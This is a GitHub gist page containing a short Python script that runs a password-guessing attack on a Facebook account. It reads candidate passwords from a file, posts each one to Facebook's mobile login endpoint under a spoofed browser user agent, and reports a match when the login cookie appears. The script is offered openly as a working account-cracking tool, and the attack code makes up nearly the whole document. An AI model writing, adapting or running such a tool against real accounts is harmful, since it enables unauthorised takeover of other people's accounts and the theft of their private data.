Skip to content

Instantly share code, notes, and snippets.

@shoukreytom
Created April 20, 2021 22:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shoukreytom/87c141c15166cf0e2dcb5f7e49828b53 to your computer and use it in GitHub Desktop.
Save shoukreytom/87c141c15166cf0e2dcb5f7e49828b53 to your computer and use it in GitHub Desktop.
import argparse
import requests
def login(session, email, password):
response = session.get('https://m.facebook.com')
response = session.post('https://m.facebook.com/login.php', data={
'email': email,
'pass': password
}, allow_redirects=False)
# If c_user cookie is present, login was successful
if 'c_user' in response.cookies:
print(f'login: {email}:{password}')
return True
else:
return False
def main():
parser = argparse.ArgumentParser(description='Login to Facebook')
parser.add_argument('email', help='Email address')
parser.add_argument('filename', help='Enter filename wich contains passwords')
args = parser.parse_args()
session = requests.session()
session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0'
})
file_pass = open(args.filename, "r")
for password in file_pass:
print(f'testing: {password}')
succ = login(session, args.email, password)
if not succ:
print('password did not match')
else:
break
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment